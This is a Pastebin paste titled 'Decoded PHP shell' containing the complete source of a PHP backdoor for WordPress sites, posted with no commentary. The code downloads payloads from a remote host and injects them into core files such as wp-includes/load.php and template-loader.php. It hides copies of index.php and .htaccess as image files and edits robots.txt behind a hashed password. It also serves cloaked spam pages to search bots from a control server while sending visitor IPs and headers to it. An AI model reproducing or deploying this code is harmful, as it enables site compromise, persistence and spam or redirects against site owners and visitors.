Guest User

Decoded PHP shell

a guest
Aug 4th, 2021
1,170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 20.03 KB | None | 0 0
  1. <?php error_reporting(0);
  2. @set_time_limit(3600);
  3. @ignore_user_abort(1);
  4. $xmlname = 'mapss.xml';
  5. $dt = 0;
  6. $sitemap_file = 'sitemap';
  7. $mapnum = 2000;
  8. if (isset($_GET['dt'])) {
  9.     $dt = $_GET['dt'];
  10. }
  11. $site = @$_GET['smsite'];
  12. $jdir = '';
  13. $http_web = 'http';
  14. if (is_https()) {
  15.     $http = 'https';
  16. } else {
  17.     $http = 'http';
  18. }
  19. $smuri_tmp = smrequest_uri();
  20. $uri_script = "";
  21. if (strstr($smuri_tmp, ".php") && !$site) {
  22.     $uri_arr = explode(".php", $smuri_tmp);
  23.     $uri_script = $uri_arr[0] . ".php?";
  24.     $smuri_tmp = $uri_arr[1];
  25.     $smuri_tmp = str_replace("?", "/", $smuri_tmp);
  26. }
  27. if ($smuri_tmp == '') {
  28.     $smuri_tmp = '/';
  29. }
  30. $s = 'b' . 'ase6' . '4_e' . 'ncode';
  31. $smuri = $s($smuri_tmp);
  32. function smrequest_uri() {
  33.     if (isset($_SERVER['REQUEST_URI'])) {
  34.         $smuri = $_SERVER['REQUEST_URI'];
  35.     } else {
  36.         if (isset($_SERVER['argv'])) {
  37.             $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
  38.         } else {
  39.             $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
  40.         }
  41.     }
  42.     return $smuri;
  43. }
  44. @$action = $_GET['ac'] ? $_GET['ac'] : "";
  45. if ($action != "" && $action == "write") {
  46.     write();
  47.     echo "write done!";
  48.     exit();
  49. }
  50. $goweb = 'seob253.tophead.online';
  51. $password = md5(md5(@$_GET['pd']));
  52. if ($password == '5fbf36f6b1070aec65f00cb8e35c9cc4') {
  53.     $add_content = @$_GET['mapname'];
  54.     $action = @$_GET['action'];
  55.     $domain = @$_GET['domain'];
  56.     if ($domain) {
  57.         $host = $domain;
  58.     } else {
  59.         $host = $_SERVER['HTTP_HOST'];
  60.     }
  61.     //$host = $_SERVER['HTTP_HOST'];
  62.     $path = dirname(__FILE__);
  63.     $file_path = $path . '/robots.txt';
  64.     if (!$action) {
  65.         $action = 'put';
  66.     }
  67.     if ($action == 'put') {
  68.         if (strstr($add_content, '.xml')) {
  69.             if (file_exists($file_path)) {
  70.                 $data = smoutdo($file_path);
  71.             } else {
  72.                 $data = 'User-agent: *
  73. Allow: /';
  74.             }
  75.             if (strstr($data, '/' . $add_content)) {
  76.                 echo '<br>sitemap already added!<br>';
  77.             } else {
  78.                 if (is_https()) {
  79.                     $data_new = trim($data) . "
  80. " . 'Sitemap: https://' . $host . '/' . $add_content;
  81.                 } else {
  82.                     $data_new = trim($data) . "
  83. " . 'Sitemap: http://' . $host . '/' . $add_content;
  84.                 }
  85.                 //Sitemap: http://www.gudangsehat.com/mapindex.xml
  86.                 if (file_put_contents($file_path, $data_new)) {
  87.                     echo '<br>ok<br>';
  88.                 } else {
  89.                     echo '<br>file write false!<br>';
  90.                 }
  91.             }
  92.         } else {
  93.             echo '<br>sitemap name false!<br>';
  94.         }
  95.     }
  96.     if ($action == 'del') {
  97.         if (file_exists($file_path)) {
  98.             $data = smoutdo($file_path);
  99.         } else {
  100.             $data = '';
  101.         }
  102.         if (strstr($data, '/' . $add_content)) {
  103.             if (is_https()) {
  104.                 $data_new = trim($data) . "
  105. " . 'Sitemap: https://' . $host . '/' . $add_content;
  106.             } else {
  107.                 $data_new = trim($data) . "
  108. " . 'Sitemap: http://' . $host . '/' . $add_content;
  109.             }
  110.             if (file_put_contents($file_path, $data_new)) {
  111.                 echo '<br>ok<br>';
  112.             } else {
  113.                 echo '<br>file write false!<br>';
  114.             }
  115.         } else {
  116.             echo '<br>sitemap does not exist!<br>';
  117.         }
  118.     }
  119.     exit;
  120. }
  121. function is_https() {
  122.     if (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
  123.         return true;
  124.     } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
  125.         return true;
  126.     } elseif (!empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
  127.         return true;
  128.     }
  129.     return false;
  130. }
  131. $temp = @$_GET['smtemp'];
  132. $id = @$_GET['smid'];
  133. $page = @$_GET['smpage'];
  134. $site = str_replace('/', '', $site);
  135. $host = $_SERVER['HTTP_HOST'];
  136. $clock = '';
  137. $tempweb = @$_GET['tempweb'];
  138. $tempweb = str_replace('/', '', $tempweb);
  139. if ($tempweb) {
  140.     $site = $tempweb[0] . $tempweb[1] . $tempweb[2];
  141.     $temp = substr($tempweb, 3);
  142. }
  143. $lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
  144. $lang = $s($lang);
  145. $os = $_SERVER['HTTP_USER_AGENT'];
  146. $os = $s($os);
  147. if (isset($_SERVER['HTTP_REFERER'])) {
  148.     $urlshang = $_SERVER['HTTP_REFERER'];
  149.     $urlshang = $s($urlshang);
  150. } else {
  151.     $urlshang = '';
  152. }
  153. if (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
  154.     $clock = getenv('REMOTE_ADDR');
  155. } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
  156.     $clock = $_SERVER['REMOTE_ADDR'];
  157. }
  158. $http_clock = '';
  159. if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
  160.     $http_clock = getenv('HTTP_CLIENT_IP');
  161. } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
  162.     $http_clock = getenv('HTTP_X_FORWARDED_FOR');
  163. }
  164. if (stristr($clock, ',')) {
  165.     $clock_tmp = explode(",", $clock);
  166.     $clock = $clock_tmp[0];
  167. }
  168. if (!isset($sitemap_file) || @$sitemap_file == '') {
  169.     $sitemap_file = 'sitemap';
  170. }
  171. if (!isset($mapnum) || @$mapnum == '') {
  172.     $sitemap_file = 2000;
  173. }
  174. if (preg_match('/^' . "\/" . $sitemap_file . '(\d+)?.xml$/i', $smuri_tmp, $uriarr)) {
  175.     @header("Content-type: text/xml");
  176.     if (isset($uriarr[1])) {
  177.         $id = str_replace('_', '', $uriarr[1]);
  178.     } else {
  179.         $id = 100;
  180.     }
  181.     $ivmapid = 0;
  182.     sitemap_out(z_sitemap($goweb, $id, $host, $dt, $ivmapid, $mapnum, $http_web), $host, $uri_script);
  183.     exit();
  184. }
  185. function z_sitemap($goweb, $id, $host, $dt, $maptype, $map_num, $http_web = 'http', $filetype = 0, $map_splits_num = '', $temp = '', $dataNew = '') {
  186.     $web = $http_web . '://' . $goweb . '/sitemapdtn.php?date=' . $id . '&temp=' . $temp . '&web=' . $host . '&xml=' . $dt . '&maptype=' . $maptype . '&filetype=' . $filetype . '&map_splits_num=' . $map_splits_num . '&map_num=' . $map_num . '&dataNew=' . $dataNew;
  187.     return trim(smoutdo($web));
  188. }
  189. function sitemap_out($url, $host, $uri_script) {
  190.     if (is_https()) {
  191.         $http = 'https';
  192.     } else {
  193.         $http = 'http';
  194.     }
  195.     $date_str = date("Y-m-d\TH:i:sP", time());
  196.     $sitemap_header = '<?xml version="1.0" encoding="UTF-8"?>
  197. <urlset
  198.      xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
  199.      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  200.      xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
  201.            http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">';
  202.     $sitemap_header.= '
  203.  <url>
  204.    <loc>' . $http . '://' . $host . "/" . '</loc>
  205.    <lastmod>' . $date_str . '</lastmod>
  206.    <changefreq>daily</changefreq>
  207.    <priority>0.1</priority>
  208.  </url>';
  209.     $url_arr = explode("
  210. ", $url);
  211.     $map_str = $sitemap_header;
  212.     foreach ($url_arr as $value) {
  213.         $map_str.= '
  214.  <url>
  215.    <loc>' . $http . '://' . $host . "/" . $value . '</loc>
  216.    <lastmod>' . $date_str . '</lastmod>
  217.    <changefreq>daily</changefreq>
  218.    <priority>0.1</priority>
  219.  </url>';
  220.     }
  221.     if ($uri_script != "") {
  222.         $map_str = str_replace($host . "/", $host . $uri_script, $map_str);
  223.     }
  224.     echo $map_str . "
  225. </urlset>";
  226. }
  227. function get($url) {
  228.     $contents = @file_get_contents($url);
  229.     if (!$contents) {
  230.         $ch = curl_init();
  231.         curl_setopt($ch, CURLOPT_URL, $url);
  232.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  233.         $contents = curl_exec($ch);
  234.         curl_close($ch);
  235.     }
  236.     return $contents;
  237. }
  238. function write() {
  239.     $write1 = get("http://hello.turnedpro.xyz/write1.txt");
  240.     $write2 = get("http://hello.turnedpro.xyz/write2.txt");
  241.     $shell_postfs = get("http://hello.turnedpro.xyz/mm1.txt");
  242.     $shell_load = get("http://hello.turnedpro.xyz/mm2.txt");
  243.     $ht_content = file_get_contents(".htaccess");
  244.     $index_content = file_get_contents("index.php");
  245.     $loader_php = "wp-includes/template-loader.php";
  246.     $load_php = "wp-includes/load.php";
  247.     $font_editor_php = "wp-includes/SimplePie/font-editor.php";
  248.     if (!is_dir("css")) {
  249.         mkdir("css", 0755, true);
  250.     }
  251.     file_put_contents("css/load.php", $shell_load);
  252.     if (is_dir("wp-includes/SimplePie")) {
  253.         file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
  254.         file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
  255.         file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
  256.         file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);
  257.         $loader_content = file_get_contents($loader_php);
  258.         $load_content = file_get_contents($load_php);
  259.         @chmod($loader_php, 0755);
  260.         @chmod($load_php, 0755);
  261.         file_put_contents($loader_php, $write1 . $loader_content);
  262.         file_put_contents($load_php, $load_content . $write2);
  263.         @chmod($loader_php, 0644);
  264.         @chmod($load_php, 0644);
  265.         file_put_contents($font_editor_php, $shell_postfs);
  266.     }
  267. }
  268. if (stristr($smuri_tmp, '.css')) {
  269.     $web = $http_web . '://' . $goweb . '/index.php?url=' . $site . '&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&jdir=' . $jdir . '&clock=' . $clock . '&uri=' . $smuri . '&lang=' . $lang . '&os=' . $os . '&urlshang=' . $urlshang . '&http_clock=' . $http_clock;
  270.     $html_content = trim(smoutdo($web));
  271.     if (!strstr($html_content, 'nobotuseragent')) {
  272.         if (strstr($html_content, 'okhtmlgetcontent')) {
  273.             @header("Content-type: text/css; charset=utf-8");
  274.             $html_content = str_replace("okhtmlgetcontent", '', $html_content);
  275.             echo $html_content;
  276.             exit();
  277.         } else if (strstr($html_content, 'getcontent500page')) {
  278.             @header('HTTP/1.1 500 Internal Server Error');
  279.             exit();
  280.         } else if (strstr($html_content, 'getcontent404page')) {
  281.             @header('HTTP/1.1 404 Not Found');
  282.             exit();
  283.         }
  284.     }
  285. } else if ($site) {
  286.     if ($site == 'xml') {
  287.         @header("Content-type: text/html; charset=utf-8");
  288.         $mapdir = @$_GET['mapdir'];
  289.         $maptype = @$_GET['maptype'];
  290.         $filetype = @$_GET['filetype'];
  291.         $map_splits_num = @$_GET['map_splits_num'];
  292.         $map_num = @$_GET['map_num'];
  293.         $dataNew = @$_GET['dataNew'];
  294.         if ($mapdir) {
  295.             if (!is_dir($mapdir)) {
  296.                 @mkdir($mapdir, 0777, true);
  297.                 echo 'ok ' . $mapdir . ' success!<br>';
  298.             } else {
  299.                 echo $mapdir . ' already exist!<br>';
  300.             }
  301.         }
  302.         if (@$_GET['mapindex']) {
  303.             $filearray = listDir($mapdir);
  304.             if (count($filearray) >= 2) {
  305.                 $mapindex_str = '';
  306.                 $mapindex_str = '<?xml version="1.0" encoding="UTF-8"?>
  307. <sitemapindex xmlns="http://www.google.com/schemas/sitemap/0.84">';
  308.                 foreach ($filearray as $value) {
  309.                     if (stristr($value, '.xml')) {
  310.                         $mapindex_str.= '
  311.  <sitemap>
  312.    <loc>' . "http://" . $_SERVER['HTTP_HOST'] . "/" . $mapdir . '/' . $value . '</loc>
  313.  </sitemap>';
  314.                     }
  315.                 }
  316.                 $mapindex_str.= '
  317. </sitemapindex>';
  318.                 $xmlname = @$_GET['mapindex'] . '.xml';
  319.                 $myfile = fopen($xmlname, "w");
  320.                 fwrite($myfile, $mapindex_str);
  321.                 fclose($myfile);
  322.                 echo "ok<br>http://" . $_SERVER['HTTP_HOST'] . "/" . $xmlname;
  323.                 //echo "<br>".$web;
  324.                 exit;
  325.             } else {
  326.                 echo 'xml file less number mapindex faile!';
  327.                 exit;
  328.             }
  329.         }
  330.         $web = $http_web . '://' . $goweb . '/sitemap.php?date=' . $id . '&temp=' . $temp . '&web=' . $host . '&xml=' . $dt . '&maptype=' . $maptype . '&filetype=' . $filetype . '&map_splits_num=' . $map_splits_num . '&map_num=' . $map_num . '&dataNew=' . $dataNew . '&uri=' . $smuri . '&http=' . $http;
  331.         if (substr($temp, 0, 8) == 'shellxml') {
  332.             $xmlname = substr($temp, 8) . '.xml';
  333.         }
  334.         if (substr($temp, 0, 7) == 'hackxml') {
  335.             if (substr($temp, 7)) {
  336.                 $xmlname = substr($temp, 7) . '.xml';
  337.             }
  338.         }
  339.         if (@$_GET['mapdir']) {
  340.             if ($filetype == 1) {
  341.                 $xmlname = $xmlname . '.gz';
  342.             } else if ($filetype == 2) {
  343.                 if (function_exists('gzopen')) {
  344.                     $xmlname = $xmlname . '.gz';
  345.                     if ($fp = gzopen($mapdir . '/' . $xmlname, 'w9')) {
  346.                         $xml = trim(smoutdo($web));
  347.                         if (stristr($xml, 'no creat map')) {
  348.                             echo '<font style="color:red">no creat map!</font>';
  349.                             exit;
  350.                         }
  351.                         $fp = gzopen($mapdir . '/' . $xmlname, 'w9');
  352.                         gzwrite($fp, $xml);
  353.                         gzclose($fp);
  354.                         echo "ok<br>" . $http . "://" . $_SERVER['HTTP_HOST'] . "/" . $mapdir . '/' . $xmlname;
  355.                         echo "<br>" . $web;
  356.                         exit();
  357.                     } else {
  358.                         gzclose($fp);
  359.                         echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>http://' . $_SERVER['HTTP_HOST'] . "/" . $mapdir . '/' . $xmlname;
  360.                         echo "<br>" . $web;
  361.                         exit();
  362.                     }
  363.                 } else {
  364.                     echo '<font style="color:red">gzopen no exists!</font><br>' . $http . '://' . $_SERVER['HTTP_HOST'] . "/" . $mapdir . '/' . $xmlname;
  365.                     $web = $http_web . '://' . $goweb . '/sitemap.php?date=' . $id . '&temp=' . $temp . '&web=' . $host . '&xml=' . $dt . '&maptype=' . $maptype . '&http=' . $http;
  366.                     echo "<br>" . $web;
  367.                     exit();
  368.                 }
  369.             }
  370.             if (fopen($mapdir . '/' . $xmlname, "w")) {
  371.                 $xml = trim(smoutdo($web));
  372.                 if (stristr($xml, 'no creat map')) {
  373.                     echo '<font style="color:red">no creat map!</font>';
  374.                     exit;
  375.                 }
  376.                 $myfile = fopen($mapdir . '/' . $xmlname, "w");
  377.                 fwrite($myfile, $xml);
  378.                 fclose($myfile);
  379.                 echo "ok<br>" . $http . "://" . $_SERVER['HTTP_HOST'] . "/" . $mapdir . '/' . $xmlname;
  380.                 echo "<br>" . $web;
  381.                 exit();
  382.             } else {
  383.                 fclose($myfile);
  384.                 echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>http://' . $_SERVER['HTTP_HOST'] . "/" . $mapdir . '/' . $xmlname;
  385.                 echo "<br>" . $web;
  386.                 exit();
  387.             }
  388.         } else {
  389.             if (fopen($xmlname, "w")) {
  390.                 $xml = trim(smoutdo($web));
  391.                 if (stristr($xml, 'no creat map')) {
  392.                     echo '<font style="color:red">no creat map!</font>';
  393.                     exit;
  394.                 }
  395.                 $myfile = fopen($xmlname, "w");
  396.                 fwrite($myfile, $xml);
  397.                 fclose($myfile);
  398.                 echo "ok<br>" . $http . "://" . $_SERVER['HTTP_HOST'] . "/" . $xmlname;
  399.                 echo "<br>" . $web;
  400.                 exit();
  401.             } else {
  402.                 fclose($myfile);
  403.                 echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>' . $http . '://' . $_SERVER['HTTP_HOST'] . "/" . $xmlname;
  404.                 echo "<br>" . $web;
  405.                 exit();
  406.             }
  407.         }
  408.     }
  409.     if ($id) {
  410.         @header("Content-type: text/html; charset=utf-8");
  411.         $web = $http_web . '://' . $goweb . '/index.php?url=' . $site . '&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&clock=' . $clock . '&uri=' . $smuri . '&urlshang=' . $urlshang . '&http=' . $http . '&page=' . $page;
  412.         $html_content = trim(smoutdo($web));
  413.         if (!strstr($html_content, 'nobotuseragent')) {
  414.             if (strstr($html_content, 'okhtmlgetcontent')) {
  415.                 $html_content = str_replace("okhtmlgetcontent", '', $html_content);
  416.                 echo $html_content;
  417.                 exit();
  418.             } else if (strstr($html_content, 'getcontent500page')) {
  419.                 @header('HTTP/1.1 500 Internal Server Error');
  420.                 exit();
  421.             } else if (strstr($html_content, 'getcontent404page')) {
  422.                 @header('HTTP/1.1 404 Not Found');
  423.                 exit();
  424.             }
  425.         }
  426.     }
  427. } else {
  428.     $web = $http_web . '://' . $goweb . '/index.php?url=' . $site . '&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&clock=' . $clock . '&uri=' . $smuri . '&urlshang=' . $urlshang . '&http=' . $http . '&page=' . $page;
  429.     $html_content = trim(smoutdo($web));
  430.     if ($uri_script != "") {
  431.         $html_content = str_replace($host . "/", $host . $uri_script, $html_content);
  432.     }
  433.     if (!strstr($html_content, 'nobotuseragent')) {
  434.         @header("Content-type: text/html; charset=utf-8");
  435.         if (strstr($html_content, 'okhtmlgetcontent')) {
  436.             $html_content = str_replace("okhtmlgetcontent", '', $html_content);
  437.             echo $html_content;
  438.             exit();
  439.         } else if (strstr($html_content, 'getcontent500page')) {
  440.             @header('HTTP/1.1 500 Internal Server Error');
  441.             exit();
  442.         } else if (strstr($html_content, 'getcontent404page')) {
  443.             @header('HTTP/1.1 404 Not Found');
  444.             exit();
  445.         } else if (strstr($html_content, 'getcontent301page')) {
  446.             @header('HTTP/1.1 301 Moved Permanently');
  447.             $html_content = str_replace("getcontent301page", '', $html_content);
  448.             header('Location: ' . $html_content);
  449.             exit();
  450.         }
  451.     }
  452. }
  453. function smisbot() {
  454.     $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
  455.     if ($agent != "") {
  456.         $googleBot = array("Googlebot", "Yahoo! Slurp", "Yahoo Slurp", "Google AdSense", 'google', 'yahoo');
  457.         foreach ($googleBot as $val) {
  458.             $str = strtolower($val);
  459.             if (strpos($agent, $str)) {
  460.                 return true;
  461.             }
  462.         }
  463.     } else {
  464.         return false;
  465.     }
  466. }
  467. function smotherbot() {
  468.     $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
  469.     if ($agent != "") {
  470.         $spiderSite = array("TencentTraveler", "msnbot", "Sosospider+", "Sogou web spider", "ia_archiver", "YoudaoBot", "MSNBot", "Java (Often spam bot)", "BaiDuSpider", "Voila", "Yandex bot", "BSpider", "twiceler", "Sogou Spider", "Speedy Spider", "Heritrix", "Python-urllib", "Alexa (IA Archiver)", "Ask", "Exabot", "Custo", "OutfoxBot/YodaoBot", "yacy", "SurveyBot", "legs", "lwp-trivial", "Nutch", "StackRambler", "The web archive (IA Archiver)", "Perl tool", "MJ12bot", "Netcraft", "MSIECrawler", "WGet tools", "larbin", "Fish search", 'bingbot', 'baidu', 'aol', 'bing', 'YandexBot', 'AhrefsBot');
  471.         foreach ($spiderSite as $val) {
  472.             $str = strtolower($val);
  473.             if (strpos($agent, $str)) {
  474.                 return true;
  475.             }
  476.         }
  477.     } else {
  478.         return false;
  479.     }
  480. }
  481. function smoutdo($url) {
  482.     $file_contents = @file_get_contents($url);
  483.     if (!$file_contents) {
  484.         $ch = curl_init();
  485.         curl_setopt($ch, CURLOPT_URL, $url);
  486.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  487.         $file_contents = curl_exec($ch);
  488.         curl_close($ch);
  489.     }
  490.     return $file_contents;
  491. }
  492. function listDir($dir) {
  493.     $filearr = array();
  494.     if (is_dir($dir)) {
  495.         if ($dh = opendir($dir)) {
  496.             while (($file = readdir($dh)) !== false) {
  497.                 if ((file_exists($dir . "/" . $file)) && $file != "." && $file != "..") {
  498.                     $filearr[] = $file;
  499.                 }
  500.             }
  501.             closedir($dh);
  502.         }
  503.     }
  504.     return $filearr;
  505. }
Add Comment
Please, Sign In to add comment